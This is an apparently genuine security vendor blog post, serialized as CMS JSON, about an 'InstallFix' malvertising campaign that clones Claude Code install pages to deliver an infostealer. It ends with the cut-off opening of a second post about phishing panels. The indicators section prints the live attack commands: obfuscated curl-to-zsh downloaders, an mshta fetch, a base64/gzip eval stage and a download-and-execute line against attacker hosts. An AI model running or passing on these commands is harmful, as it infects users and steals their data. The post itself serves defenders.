22345,22351,22357,22363,22369,22388,22400,22407,22413,22420,22427,22460,22467,22475,22482,22488,22495,22501,22508,22526,22533,22536,22544,22551,22646,22653,22659,22662,22670,22677,22684,22691,22734,22737,22745,22761,22768,22776,22986,22994,23027,23035,23044,23050,23058,23065,23073,23084,23092,23098,23106,23117,23125,23133,23141,23149,23157,23165,23176,23183],{"data":22191,"content":22195,"nodeType":925},{"target":22192},{"sys":22193},{"id":22194,"type":922,"linkType":923},"38JCcRQe2tN9ooHGwreoF5",[],{"data":22197,"content":22198,"nodeType":866},{},[22199],{"data":22200,"marks":22201,"value":22202,"nodeType":865},{},[],"There was a time, not that long ago, when pasting a command from a website straight into your terminal was something you’d only try once before some grizzled senior engineer beat it out of you. That’s because you’re effectively handing a website a blank cheque to execute whatever it wants on your system.",{"data":22204,"content":22205,"nodeType":866},{},[22206],{"data":22207,"marks":22208,"value":22209,"nodeType":865},{},[],"But somehow, it’s now the default. Homebrew, Rust, nvm, Bun, oh-my-zsh and hundreds of the most widely used developer tools on the planet now ship with the same instructions. Copy a “curl to bash” ( curl https://some.website | bash) one-liner from a website, paste it into your terminal, and hit enter. The entire security model boils down to \"trust the domain.\" And with AI adoption encouraging more non-technical users to work with the kind of tools that only devs used to use, this suddenly becomes a threat to a much larger, less security conscious pool of users.",{"data":22211,"content":22212,"nodeType":866},{},[22213],{"data":22214,"marks":22215,"value":22217,"nodeType":865},{},[22216],{"type":961},"It’s not hard to see how attackers can exploit this. ",{"data":22219,"content":22220,"nodeType":866},{},[22221,22225,22229],{"data":22222,"marks":22223,"value":22224,"nodeType":865},{},[],"We're tracking a technique we're calling ",{"data":22226,"marks":22227,"value":19228,"nodeType":865},{},[22228],{"type":961},{"data":22230,"marks":22231,"value":22232,"nodeType":865},{},[],": a clever social engineering attack where threat actors clone the installation pages of legitimate CLI tools and present victims with malicious install commands disguised as the real thing. In each case, the mechanic is the same: the victim sees what looks like a familiar install command, copies it, pastes it, and runs it. Except the command they run is not the one they expected.",{"data":22234,"content":22238,"nodeType":925},{"target":22235},{"sys":22236},{"id":22237,"type":922,"linkType":923},"6VMkuQkU5L0vObxIojI1Xw",[],{"data":22240,"content":22241,"nodeType":953},{},[],{"data":22243,"content":22244,"nodeType":963},{},[22245],{"data":22246,"marks":22247,"value":22249,"nodeType":865},{},[22248],{"type":961},"InstallFix Claude Code campaign teardown",{"data":22251,"content":22252,"nodeType":866},{},[22253],{"data":22254,"marks":22255,"value":22256,"nodeType":865},{},[],"All you need to make this attack work is a popular tool you can impersonate. Naturally, this makes trendy AI tools a popular choice. Then, you just need to boost your lure to deliver it to unsuspecting victims via search engine. The most common way of doing this is through sponsored results — aka malvertising. ",{"data":22258,"content":22259,"nodeType":866},{},[22260],{"data":22261,"marks":22262,"value":22263,"nodeType":865},{},[],"In the recent examples identified by Push researchers, attackers have simply cloned the installation webpages for tools and updated the installation instructions with malicious commands. ",{"data":22265,"content":22266,"nodeType":1458},{},[22267],{"data":22268,"marks":22269,"value":22270,"nodeType":865},{},[],"A new campaign targeting Claude Code",{"data":22272,"content":22273,"nodeType":866},{},[22274],{"data":22275,"marks":22276,"value":22277,"nodeType":865},{},[],"We've recently observed a campaign that puts this technique into practice against one of the fastest-growing developer tools on the market: Anthropic's Claude Code.",{"data":22279,"content":22280,"nodeType":866},{},[22281],{"data":22282,"marks":22283,"value":22284,"nodeType":865},{},[],"Claude Code is a command-line AI coding assistant that has rapidly become the go-to for both experienced developers and amateur vibe-coders. Like many modern CLI tools, the recommended installation method is a one-liner that pipes a remote script into a shell. ",{"data":22286,"content":22287,"nodeType":866},{},[22288],{"data":22289,"marks":22290,"value":22291,"nodeType":865},{},[],"The attacker's approach is straightforward. They clone the Claude Code installation page (layout, branding, documentation sidebar, and all), hosting it on a lookalike domain. The page is a near-pixel-perfect replica of the real thing. The only meaningful difference is in the installation commands themselves: instead of fetching the install script from claude.ai, the commands point to an attacker-controlled server that serves malware instead. ",{"data":22293,"content":22294,"nodeType":866},{},[22295],{"data":22296,"marks":22297,"value":22298,"nodeType":865},{},[],"Unless you’re carefully reading the URL embedded in the install one-liner (and let's be honest, almost nobody does these days), the page is indistinguishable from the real one.",{"data":22300,"content":22301,"nodeType":866},{},[22302],{"data":22303,"marks":22304,"value":22305,"nodeType":865},{},[],"You can see a video of a user being served a malicious InstallFix page below.",{"data":22307,"content":22311,"nodeType":925},{"target":22308},{"sys":22309},{"id":22310,"type":922,"linkType":923},"1dhirnghbpAwyCse8cjAas",[],{"data":22313,"content":22317,"nodeType":925},{"target":22314},{"sys":22315},{"id":22316,"type":922,"linkType":923},"5TBnCFM4Y5CoqKPchHDpyv",[],{"data":22319,"content":22320,"nodeType":866},{},[22321],{"data":22322,"marks":22323,"value":22324,"nodeType":865},{},[],"Any further interaction on the page simply redirects you to the legitimate site, too. So a victim that lands on the page and follows the fake instructions could continue normally without realizing anything had gone wrong. ",{"data":22326,"content":22330,"nodeType":925},{"target":22327},{"sys":22328},{"id":22329,"type":922,"linkType":923},"5g3joJSAP8y8xv2bKaLGe2",[],{"data":22332,"content":22333,"nodeType":1458},{},[22334],{"data":22335,"marks":22336,"value":22337,"nodeType":865},{},[],"Distribution via Google Ads",{"data":22339,"content":22340,"nodeType":866},{},[22341],{"data":22342,"marks":22343,"value":22344,"nodeType":865},{},[],"The fake install pages are distributed exclusively through Google Ads, specifically through sponsored search results that appear when users search for terms like \"Claude Code\", \"Claude Code install\", or \"Claude Code CLI.\"",{"data":22346,"content":22350,"nodeType":925},{"target":22347},{"sys":22348},{"id":22349,"type":922,"linkType":923},"3CTtrOy3q8NoMblxkLlTer",[],{"data":22352,"content":22356,"nodeType":925},{"target":22353},{"sys":22354},{"id":22355,"type":922,"linkType":923},"4m5rg9UhRQK0e8OfYFlIUc",[],{"data":22358,"content":22362,"nodeType":925},{"target":22359},{"sys":22360},{"id":22361,"type":922,"linkType":923},"25lAkq9tTZ2Mq52gs6xR8G",[],{"data":22364,"content":22368,"nodeType":925},{"target":22365},{"sys":22366},{"id":22367,"type":922,"linkType":923},"4f4svuW3tjhNc3kEfCwNRG",[],{"data":22370,"content":22371,"nodeType":866},{},[22372,22376,22384],{"data":22373,"marks":22374,"value":22375,"nodeType":865},{},[],"Malvertising via Google Search is an effective delivery vector because it bypasses email-based security controls entirely. There's no phishing email to flag, no suspicious link in a message. The user initiates the interaction themselves by searching for something they genuinely intend to install. This is one of the reasons that attackers are ",{"data":22377,"content":22378,"nodeType":882},{"uri":3122},[22379],{"data":22380,"marks":22381,"value":22383,"nodeType":865},{},[22382],{"type":997},"doubling down on targeting ad manager accounts",{"data":22385,"marks":22386,"value":22387,"nodeType":865},{},[]," to be able to hijack existing ad budgets and spin up even more malicious ads.",{"data":22389,"content":22390,"nodeType":866},{},[22391,22396],{"data":22392,"marks":22393,"value":22395,"nodeType":865},{},[22394],{"type":961},"The reality is that users are going to encounter malicious links through stealthy channels like malvertising every day, just through normal internet browsing",{"data":22397,"marks":22398,"value":22399,"nodeType":865},{},[],", without being actively targeted. That said, ads can be targeted too: Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). So if you've got sufficient intel on your target, you can tailor the ad accordingly. ",{"data":22401,"content":22402,"nodeType":866},{},[22403],{"data":22404,"marks":22405,"value":22406,"nodeType":865},{},[],"Since the sponsored result appears above the organic results for the legitimate Claude Code documentation and the displayed URL in the ad appears plausible, victims are more likely to quickly click and access the domain without checking it out fully. Search engines typically suppress subdomains from displayed URLs too, giving the attacker additional cover for the lookalike domain.",{"data":22408,"content":22412,"nodeType":925},{"target":22409},{"sys":22410},{"id":22411,"type":922,"linkType":923},"4Ihz5BcRK0NDVy0ANg2PWe",[],{"data":22414,"content":22415,"nodeType":1458},{},[22416],{"data":22417,"marks":22418,"value":22419,"nodeType":865},{},[],"The payload",{"data":22421,"content":22422,"nodeType":866},{},[22423],{"data":22424,"marks":22425,"value":22426,"nodeType":865},{},[],"The malware initiates execution through cmd.exe (PID 8444), which spawns mshta.exe (PID 8700) to retrieve and execute content from a remote URL. The command structure indicates staged execution:",{"data":22428,"content":22429,"nodeType":1049},{},[22430,22440,22450],{"data":22431,"content":22432,"nodeType":1003},{},[22433],{"data":22434,"content":22435,"nodeType":866},{},[22436],{"data":22437,"marks":22438,"value":22439,"nodeType":865},{},[],"cmd.exe executes a command-line instruction to launch mshta.exe with a URL parameter pointing to https://claude[.]update-version[.]com/claude",{"data":22441,"content":22442,"nodeType":1003},{},[22443],{"data":22444,"content":22445,"nodeType":866},{},[22446],{"data":22447,"marks":22448,"value":22449,"nodeType":865},{},[],"mshta.exe (child process) is invoked to fetch and execute HTML/script content from the malicious domain",{"data":22451,"content":22452,"nodeType":1003},{},[22453],{"data":22454,"content":22455,"nodeType":866},{},[22456],{"data":22457,"marks":22458,"value":22459,"nodeType":865},{},[],"conhost.exe (PID 8496) is spawned as a console host, likely to support command execution output",{"data":22461,"content":22462,"nodeType":866},{},[22463],{"data":22464,"marks":22465,"value":22466,"nodeType":865},{},[],"The MacOS payload also uses additional encoding and staged execution layers.",{"data":22468,"content":22469,"nodeType":866},{},[22470],{"data":22471,"marks":22472,"value":22474,"nodeType":865},{},[22473],{"type":961},"You can see the full list of IoCs at the end of the blog.   ",{"data":22476,"content":22477,"nodeType":866},{},[22478],{"data":22479,"marks":22480,"value":22481,"nodeType":865},{},[],"Our analysis shows us that the payload matches the Yara signatures for the Amatera Stealer malware, retrieved from the command-and-control domain claude[.]update-version[.]com.",{"data":22483,"content":22487,"nodeType":925},{"target":22484},{"sys":22485},{"id":22486,"type":922,"linkType":923},"TXcSp34sIAOKIXlKT4Lb0",[],{"data":22489,"content":22490,"nodeType":866},{},[22491],{"data":22492,"marks":22493,"value":22494,"nodeType":865},{},[],"Notably, we saw different sites executing identical binaries, further indicating that these are part of a single attacker campaign. ",{"data":22496,"content":22500,"nodeType":925},{"target":22497},{"sys":22498},{"id":22499,"type":922,"linkType":923},"3ExLtcl6df07BcKPsGZn42",[],{"data":22502,"content":22503,"nodeType":1458},{},[22504],{"data":22505,"marks":22506,"value":22507,"nodeType":865},{},[],"Abusing legitimate hosting services",{"data":22509,"content":22510,"nodeType":866},{},[22511,22515,22522],{"data":22512,"marks":22513,"value":22514,"nodeType":865},{},[],"Another common theme we see across pretty much every phishing site these days is the abuse of legitimate domains for hosting malicious content. This allows attackers to blend in with normal web traffic and is a core ",{"data":22516,"content":22517,"nodeType":882},{"uri":13634},[22518],{"data":22519,"marks":22520,"value":13639,"nodeType":865},{},[22521],{"type":997},{"data":22523,"marks":22524,"value":22525,"nodeType":865},{},[],". ",{"data":22527,"content":22528,"nodeType":866},{},[22529],{"data":22530,"marks":22531,"value":22532,"nodeType":865},{},[],"In this case, we observed Cloudflare Pages (pages.dev), Squarespace, and Tencent EdgeOne being used. ",{"data":22534,"content":22535,"nodeType":953},{},[],{"data":22537,"content":22538,"nodeType":963},{},[22539],{"data":22540,"marks":22541,"value":22543,"nodeType":865},{},[22542],{"type":961},"A broader trend",{"data":22545,"content":22546,"nodeType":866},{},[22547],{"data":22548,"marks":22549,"value":22550,"nodeType":865},{},[],"This isn't happening in isolation. Claude and its associated tools have become a recurring target for recent malware distribution campaigns:",{"data":22552,"content":22553,"nodeType":1049},{},[22554,22577,22600,22623],{"data":22555,"content":22556,"nodeType":1003},{},[22557],{"data":22558,"content":22559,"nodeType":866},{},[22560,22563,22573],{"data":22561,"marks":22562,"value":21,"nodeType":865},{},[],{"data":22564,"content":22566,"nodeType":882},{"uri":22565},"https://www.bleepingcomputer.com/news/security/claude-llm-artifacts-abused-to-push-mac-infostealers-in-clickfix-attack/",[22567],{"data":22568,"marks":22569,"value":22572,"nodeType":865},{},[22570,22571],{"type":997},{"type":961},"Fake Claude artifacts used in traditional ClickFix lures",{"data":22574,"marks":22575,"value":22576,"nodeType":865},{},[],": Attackers created public pages on the claude.ai domain itself (user-generated content that inherited the domain's trust) containing malicious terminal commands disguised as macOS utilities. These were promoted via hijacked Google Ads and viewed over 15,000 times before being taken down.",{"data":22578,"content":22579,"nodeType":1003},{},[22580],{"data":22581,"content":22582,"nodeType":866},{},[22583,22586,22596],{"data":22584,"marks":22585,"value":21,"nodeType":865},{},[],{"data":22587,"content":22589,"nodeType":882},{"uri":22588},"https://hunt.io/blog/fake-homebrew-clickfix-cuckoo-stealer-macos",[22590],{"data":22591,"marks":22592,"value":22595,"nodeType":865},{},[22593,22594],{"type":997},{"type":961},"Fake Homebrew installation pages",{"data":22597,"marks":22598,"value":22599,"nodeType":865},{},[],": Near-identical clones of the Homebrew website delivering the Cuckoo infostealer to macOS users, using the same \"copy this install command\" mechanic.",{"data":22601,"content":22602,"nodeType":1003},{},[22603],{"data":22604,"content":22605,"nodeType":866},{},[22606,22609,22619],{"data":22607,"marks":22608,"value":21,"nodeType":865},{},[],{"data":22610,"content":22612,"nodeType":882},{"uri":22611},"https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer",[22613],{"data":22614,"marks":22615,"value":22618,"nodeType":865},{},[22616,22617],{"type":997},{"type":961},"Fake OpenClaw installers on GitHub",{"data":22620,"marks":22621,"value":22622,"nodeType":865},{},[],": Malicious repositories impersonating the popular AI agent tool, boosted by Bing's AI search results, delivering infostealers and the GhostSocks proxy malware.",{"data":22624,"content":22625,"nodeType":1003},{},[22626],{"data":22627,"content":22628,"nodeType":866},{},[22629,22632,22642],{"data":22630,"marks":22631,"value":21,"nodeType":865},{},[],{"data":22633,"content":22635,"nodeType":882},{"uri":22634},"https://thehackernews.com/2026/02/malicious-npm-packages-harvest-crypto.html",[22636],{"data":22637,"marks":22638,"value":22641,"nodeType":865},{},[22639,22640],{"type":997},{"type":961},"Trojanised npm packages",{"data":22643,"marks":22644,"value":22645,"nodeType":865},{},[],": Malicious packages mimicking Claude Code's official npm package name, targeting developers who might make a typo or trust an unofficial source.",{"data":22647,"content":22648,"nodeType":866},{},[22649],{"data":22650,"marks":22651,"value":22652,"nodeType":865},{},[],"But this isn’t just a Claude problem — any tool or site that is likely to get clicks, and can be easily cloned, is a potential target for malvertising and impersonation. For example, we’ve also recently seen attackers target free web tools with clever ClickFix lures that only load after an attacker has interacted with the page — in the example below, uploading a file to remove an image background, or convert a document to PDF. These are clones of real sites that attackers have cloned because they allow them to intercept users entering common search terms. ",{"data":22654,"content":22658,"nodeType":925},{"target":22655},{"sys":22656},{"id":22657,"type":922,"linkType":923},"6fbQRdi1xXzMOmYTcAGDLc",[],{"data":22660,"content":22661,"nodeType":953},{},[],{"data":22663,"content":22664,"nodeType":1458},{},[22665],{"data":22666,"marks":22667,"value":22669,"nodeType":865},{},[22668],{"type":961},"How Push detects InstallFix",{"data":22671,"content":22672,"nodeType":866},{},[22673],{"data":22674,"marks":22675,"value":22676,"nodeType":865},{},[],"Regardless of the delivery channel, whether it's a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user's browser, and that's where Push operates.",{"data":22678,"content":22679,"nodeType":866},{},[22680],{"data":22681,"marks":22682,"value":22683,"nodeType":865},{},[],"Push sees what the user sees: the page as it renders in the browser, in real time. This means we can detect InstallFix pages by identifying the combination of signals that characterise them: lookalike domains impersonating known developer tools, copy-to-clipboard elements containing shell commands, and the presence of malvertising delivery indicators.",{"data":22685,"content":22686,"nodeType":866},{},[22687],{"data":22688,"marks":22689,"value":22690,"nodeType":865},{},[],"Because Push detects threats directly in the browser, it doesn't matter that the attack came from a Google Search ad rather than an email. There's no phishing email for a Secure Email Gateway to inspect — the user searched for and navigated to the page themselves. But the page still loads in the browser, where Push is there to catch it.",{"data":22692,"content":22693,"nodeType":866},{},[22694,22698,22707,22710,22719,22723,22731],{"data":22695,"marks":22696,"value":22697,"nodeType":865},{},[],"To learn more about how Push protects against InstallFix, ClickFix, and other browser-based attacks, ",{"data":22699,"content":22701,"nodeType":882},{"uri":22700},"https://pushsecurity.com/resources/product-brochure",[22702],{"data":22703,"marks":22704,"value":22706,"nodeType":865},{},[22705],{"type":997},"check out our latest product overview",{"data":22708,"marks":22709,"value":2186,"nodeType":865},{},[],{"data":22711,"content":22713,"nodeType":882},{"uri":22712},"https://pushsecurity.com/product-demo/",[22714],{"data":22715,"marks":22716,"value":22718,"nodeType":865},{},[22717],{"type":997},"visit our demo library",{"data":22720,"marks":22721,"value":22722,"nodeType":865},{},[],", or ",{"data":22724,"content":22725,"nodeType":882},{"uri":1728},[22726],{"data":22727,"marks":22728,"value":22730,"nodeType":865},{},[22729],{"type":997},"book some time with one of our team for a live demo",{"data":22732,"marks":22733,"value":1048,"nodeType":865},{},[],{"data":22735,"content":22736,"nodeType":953},{},[],{"data":22738,"content":22739,"nodeType":963},{},[22740],{"data":22741,"marks":22742,"value":22744,"nodeType":865},{},[22743],{"type":961},"IoCs",{"data":22746,"content":22747,"nodeType":866},{},[22748,22751,22758],{"data":22749,"marks":22750,"value":13754,"nodeType":865},{},[],{"data":22752,"content":22753,"nodeType":882},{"uri":13757},[22754],{"data":22755,"marks":22756,"value":13762,"nodeType":865},{},[22757],{"type":997},{"data":22759,"marks":22760,"value":13766,"nodeType":865},{},[],{"data":22762,"content":22763,"nodeType":866},{},[22764],{"data":22765,"marks":22766,"value":22767,"nodeType":865},{},[],"This is a fast-moving situation, with domains constantly being spun up. At the time of writing, the domains observed were:",{"data":22769,"content":22770,"nodeType":866},{},[22771],{"data":22772,"marks":22773,"value":22775,"nodeType":865},{},[22774],{"type":961},"Cloned domains:",{"data":22777,"content":22778,"nodeType":1049},{},[22779,22789,22799,22809,22819,22829,22838,22848,22858,22867,22877,22887,22897,22907,22917,22927,22937,22946,22956,22966,22976],{"data":22780,"content":22781,"nodeType":1003},{},[22782],{"data":22783,"content":22784,"nodeType":866},{},[22785],{"data":22786,"marks":22787,"value":22788,"nodeType":865},{},[],"claud-code[.]pages[.]dev",{"data":22790,"content":22791,"nodeType":1003},{},[22792],{"data":22793,"content":22794,"nodeType":866},{},[22795],{"data":22796,"marks":22797,"value":22798,"nodeType":865},{},[],"claulastver[.]squarespace[.]com",{"data":22800,"content":22801,"nodeType":1003},{},[22802],{"data":22803,"content":22804,"nodeType":866},{},[22805],{"data":22806,"marks":22807,"value":22808,"nodeType":865},{},[],"claudecode-developers[.]squarespace[.]com",{"data":22810,"content":22811,"nodeType":1003},{},[22812],{"data":22813,"content":22814,"nodeType":866},{},[22815],{"data":22816,"marks":22817,"value":22818,"nodeType":865},{},[],"hgjbulk.pages[.]dev",{"data":22820,"content":22821,"nodeType":1003},{},[22822],{"data":22823,"content":22824,"nodeType":866},{},[22825],{"data":22826,"marks":22827,"value":22828,"nodeType":865},{},[],"jhgyuifyfiguohi[.]pages[.]dev",{"data":22830,"content":22831,"nodeType":1003},{},[22832],{"data":22833,"content":22834,"nodeType":866},{},[22835],{"data":22836,"marks":22837,"value":22818,"nodeType":865},{},[],{"data":22839,"content":22840,"nodeType":1003},{},[22841],{"data":22842,"content":22843,"nodeType":866},{},[22844],{"data":22845,"marks":22846,"value":22847,"nodeType":865},{},[],"claude-code-install[.]squarespace[.]com",{"data":22849,"content":22850,"nodeType":1003},{},[22851],{"data":22852,"content":22853,"nodeType":866},{},[22854],{"data":22855,"marks":22856,"value":22857,"nodeType":865},{},[],"claude-code-docs-site[.]pages[.]dev",{"data":22859,"content":22860,"nodeType":1003},{},[22861],{"data":22862,"content":22863,"nodeType":866},{},[22864],{"data":22865,"marks":22866,"value":22798,"nodeType":865},{},[],{"data":22868,"content":22869,"nodeType":1003},{},[22870],{"data":22871,"content":22872,"nodeType":866},{},[22873],{"data":22874,"marks":22875,"value":22876,"nodeType":865},{},[],"cladueall[.]pages[.]dev",{"data":22878,"content":22879,"nodeType":1003},{},[22880],{"data":22881,"content":22882,"nodeType":866},{},[22883],{"data":22884,"marks":22885,"value":22886,"nodeType":865},{},[],"claude-code-docs-dvlr2jpuuw[.]edgeone[.]app",{"data":22888,"content":22889,"nodeType":1003},{},[22890],{"data":22891,"content":22892,"nodeType":866},{},[22893],{"data":22894,"marks":22895,"value":22896,"nodeType":865},{},[],"myclauda[.]it[.]com",{"data":22898,"content":22899,"nodeType":1003},{},[22900],{"data":22901,"content":22902,"nodeType":866},{},[22903],{"data":22904,"marks":22905,"value":22906,"nodeType":865},{},[],"vdsafsaf[.]it[.]com",{"data":22908,"content":22909,"nodeType":1003},{},[22910],{"data":22911,"content":22912,"nodeType":866},{},[22913],{"data":22914,"marks":22915,"value":22916,"nodeType":865},{},[],"asdasdasdadsvvvvv[.]pages[.]dev/",{"data":22918,"content":22919,"nodeType":1003},{},[22920],{"data":22921,"content":22922,"nodeType":866},{},[22923],{"data":22924,"marks":22925,"value":22926,"nodeType":865},{},[],"nnnnnnnnnnnnnnnnnnnnn[.]pages[.]dev",{"data":22928,"content":22929,"nodeType":1003},{},[22930],{"data":22931,"content":22932,"nodeType":866},{},[22933],{"data":22934,"marks":22935,"value":22936,"nodeType":865},{},[],"claude-code-macos[.]com",{"data":22938,"content":22939,"nodeType":1003},{},[22940],{"data":22941,"content":22942,"nodeType":866},{},[22943],{"data":22944,"marks":22945,"value":22857,"nodeType":865},{},[],{"data":22947,"content":22948,"nodeType":1003},{},[22949],{"data":22950,"content":22951,"nodeType":866},{},[22952],{"data":22953,"marks":22954,"value":22955,"nodeType":865},{},[],"claude-code-update[.]squarespace[.]com",{"data":22957,"content":22958,"nodeType":1003},{},[22959],{"data":22960,"content":22961,"nodeType":866},{},[22962],{"data":22963,"marks":22964,"value":22965,"nodeType":865},{},[],"claudecodeupdate[.]squarespace[.]com",{"data":22967,"content":22968,"nodeType":1003},{},[22969],{"data":22970,"content":22971,"nodeType":866},{},[22972],{"data":22973,"marks":22974,"value":22975,"nodeType":865},{},[],"notebooklm-version-upd[.]squarespace[.]com",{"data":22977,"content":22978,"nodeType":1003},{},[22979],{"data":22980,"content":22981,"nodeType":866},{},[22982],{"data":22983,"marks":22984,"value":22985,"nodeType":865},{},[],"notklmalans[.]pages[.]dev",{"data":22987,"content":22988,"nodeType":866},{},[22989],{"data":22990,"marks":22991,"value":22993,"nodeType":865},{},[22992],{"type":961},"Domains hosting malicious payload:",{"data":22995,"content":22996,"nodeType":1049},{},[22997,23007,23017],{"data":22998,"content":22999,"nodeType":1003},{},[23000],{"data":23001,"content":23002,"nodeType":866},{},[23003],{"data":23004,"marks":23005,"value":23006,"nodeType":865},{},[],"contatoplus[.]com",{"data":23008,"content":23009,"nodeType":1003},{},[23010],{"data":23011,"content":23012,"nodeType":866},{},[23013],{"data":23014,"marks":23015,"value":23016,"nodeType":865},{},[],"sarahmoftah[.]com",{"data":23018,"content":23019,"nodeType":1003},{},[23020],{"data":23021,"content":23022,"nodeType":866},{},[23023],{"data":23024,"marks":23025,"value":23026,"nodeType":865},{},[],"claude[.]update-version[.]com",{"data":23028,"content":23029,"nodeType":866},{},[23030],{"data":23031,"marks":23032,"value":23034,"nodeType":865},{},[23033],{"type":961},"Commands:",{"data":23036,"content":23037,"nodeType":866},{},[23038],{"data":23039,"marks":23040,"value":23043,"nodeType":865},{},[23041],{"type":23042},"code","curl -ksfLS $(echo 'aHR0cHM6Ly9jb250YXRvcGx1cy5jb20vY3VybC84ZDJkMjc1MzYwYWRlZGVjZmJiZDkxNTY3ZGFkZGVlZDgwZDIwYWNlYjhhYTQzMjBkMDZhMjE0ODY0OTM5NDVi'|base64 -D)| zsh",{"data":23045,"content":23046,"nodeType":866},{},[23047],{"data":23048,"marks":23049,"value":21,"nodeType":865},{},[],{"data":23051,"content":23052,"nodeType":866},{},[23053],{"data":23054,"marks":23055,"value":23057,"nodeType":865},{},[23056],{"type":23042},"curl -sfkSL $(echo 'aHR0cHM6Ly93cmljb25zdWx0LmNvbS9jdXJsLzhhZjY1YmEzODg1ZDZlMjU5NmVhMmNlMmRiNGEzYmM1ZWUwMmI4ZGViMzM2ZjlhZTkzZTI2MmM0ZGIwMGI3NTc='|base64 -D)| zsh",{"data":23059,"content":23060,"nodeType":866},{},[23061],{"data":23062,"marks":23063,"value":23064,"nodeType":865},{},[],"\n",{"data":23066,"content":23067,"nodeType":866},{},[23068],{"data":23069,"marks":23070,"value":23072,"nodeType":865},{},[23071],{"type":23042},"C:\\Windows\\SysWOW64\\mshta.exe https://claude.update-version.com/claude ",{"data":23074,"content":23075,"nodeType":866},{},[23076,23079],{"data":23077,"marks":23078,"value":23064,"nodeType":865},{},[],{"data":23080,"marks":23081,"value":23083,"nodeType":865},{},[23082],{"type":961},"Base64 decoded url:",{"data":23085,"content":23086,"nodeType":866},{},[23087],{"data":23088,"marks":23089,"value":23091,"nodeType":865},{},[23090],{"type":23042},"contatoplus[.]com/curl/8d2d275360adedecfbbd91567daddeed80d20aceb8aa4320d06a21486493945b ",{"data":23093,"content":23094,"nodeType":866},{},[23095],{"data":23096,"marks":23097,"value":21,"nodeType":865},{},[],{"data":23099,"content":23100,"nodeType":866},{},[23101],{"data":23102,"marks":23103,"value":23105,"nodeType":865},{},[23104],{"type":23042},"saramoftah[.]com/curl/958ca005af6a71be22cfcd5de82ebf5c8b809b7ee28999b6ed38bfe5d19420",{"data":23107,"content":23108,"nodeType":866},{},[23109,23112],{"data":23110,"marks":23111,"value":23064,"nodeType":865},{},[],{"data":23113,"marks":23114,"value":23116,"nodeType":865},{},[23115],{"type":961},"Second stage:",{"data":23118,"content":23119,"nodeType":866},{},[23120],{"data":23121,"marks":23122,"value":23124,"nodeType":865},{},[23123],{"type":23042},"#!/bin/zsh",{"data":23126,"content":23127,"nodeType":866},{},[23128],{"data":23129,"marks":23130,"value":23132,"nodeType":865},{},[23131],{"type":23042},"mkgrc9=$(base64 -D \u003C\u003C'PAYLOAD_END' | gunzip",{"data":23134,"content":23135,"nodeType":866},{},[23136],{"data":23137,"marks":23138,"value":23140,"nodeType":865},{},[23139],{"type":23042},"H4sIAKgRpGkC/13LPQqAMAxA4b2niAhdpGYVbxPbSoT+0UYonl5HdXwfvHHA7Uh4NVb2rAFMBpRYkH0ovgKLlLYiNqoU8y7Es80R05LwLI7Eg9bQSaSCsZ/zccsxO5j631+pbrYTnkSAAAAA",{"data":23142,"content":23143,"nodeType":866},{},[23144],{"data":23145,"marks":23146,"value":23148,"nodeType":865},{},[23147],{"type":23042},"PAYLOAD_END",{"data":23150,"content":23151,"nodeType":866},{},[23152],{"data":23153,"marks":23154,"value":23156,"nodeType":865},{},[23155],{"type":23042},")",{"data":23158,"content":23159,"nodeType":866},{},[23160],{"data":23161,"marks":23162,"value":23164,"nodeType":865},{},[23163],{"type":23042},"eval \"$mkgrc9\"",{"data":23166,"content":23167,"nodeType":866},{},[23168,23171],{"data":23169,"marks":23170,"value":23064,"nodeType":865},{},[],{"data":23172,"marks":23173,"value":23175,"nodeType":865},{},[23174],{"type":961},"Binaries:",{"data":23177,"content":23178,"nodeType":866},{},[23179],{"data":23180,"marks":23181,"value":23124,"nodeType":865},{},[23182],{"type":23042},{"data":23184,"content":23185,"nodeType":866},{},[23186],{"data":23187,"marks":23188,"value":23190,"nodeType":865},{},[23189],{"type":23042},"curl -o /tmp/helper https://saramoftah.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper","InstallFix: How attackers are weaponizing malvertised install guides  ","Attackers are impersonating popular developer tools like Claude Code to distribute fake install instructions via malicious search engine ads.","2026-03-06T00:00:00.000Z","installfix",{"items":23196},[23197,23199],{"sys":23198,"name":11426},{"id":11425},{"sys":23200,"name":342},{"id":8410},{"items":23202},[23203],{"fullName":23204,"firstName":23205,"jobTitle":23206,"profilePicture":23207},"Jacques Louw","Jacques","Co-founder / CRO",{"url":23208},"https://images.ctfassets.net/y1cdw1ablpvd/39m8bektV23lnCRcEq0G8h/2a08f6276a50744f1a4b499b273f6bb2/Push_Founders_at_Cahoots_October_28_2022_by_Doug_Coombe-21.jpg",{"__typename":1788,"sys":23210,"content":23212,"title":25108,"synopsis":25109,"hashTags":59,"publishedDate":25110,"slug":25111,"tagsCollection":25112,"authorsCollection":25118},{"id":23211},"2tz0zEJCarJBkceOYk4zVg",{"json":23213},{"data":23214,"content":23215,"nodeType":1739},{},[23216,23223,23252,23263,23270,23276,23288,23294,23297,23305,23312,23375,23382,23388,23391,23399,23406,23412,23420,23427,23553,23559,23565,23571,23577,23585,23592,23599,23662,23669,23675,23681,23689,23696,23703,23711,23718,23751,23758,23764,23771,23819,23826,23834,23841,23847,23854,23861,23867,23874,23907,23914,23920,23923,23931,23938,23945,23952,23957,23964,23971,23977,23984,23990,23997,24003,24010,24017,24020,24028,24044,24051,24071,24314,24321,24352,24587,24594,24601,24802,24809,24994,24997,25005,25012,25019,25031,25034,25041,25058,25075,25082,25085,25092],{"data":23217,"content":23218,"nodeType":866},{},[23219],{"data":23220,"marks":23221,"value":23222,"nodeType":865},{},[],"When Push blocks an attack in the browser, we take the opportunity to do some more digging to see what else we can find. One recent detection led us down the rabbit hole — and right into a criminal phishing panel. ",{"data":23224,"content":23225,"nodeType":866},{},[23226,23230,23236,23240,23248],{"data":23227,"marks":23228,"value":23229,"nodeType":865},{},[],"Real-time operated phishing panels have been used extensively in recent months, in vishing + phishing attacks attributed to first ",{"data":23231,"content":23232,"nodeType":882},{"uri":19454},[23233],{"data":23234,"marks":23235,"value":4241,"nodeType":865},{},[],{"data":23237,"marks":23238,"value":23239,"nodeType":865},{},[],", and more recently the ",{"data":23241,"content":23243,"nodeType":882},{"uri":23242},"https://www.bleepingcomputer.com/news/security/new-blackfile-extortion-gang-targets-retail-and-hospitality-orgs/",[23244],{"data":23245,"marks":23246,"value":23247,"nodeType":865},{},[],"BlackFile",{"data":23249,"marks":23250,"value":23251,"nodeType":865},{},[]," hacking group, with a significant overlap in techniques and 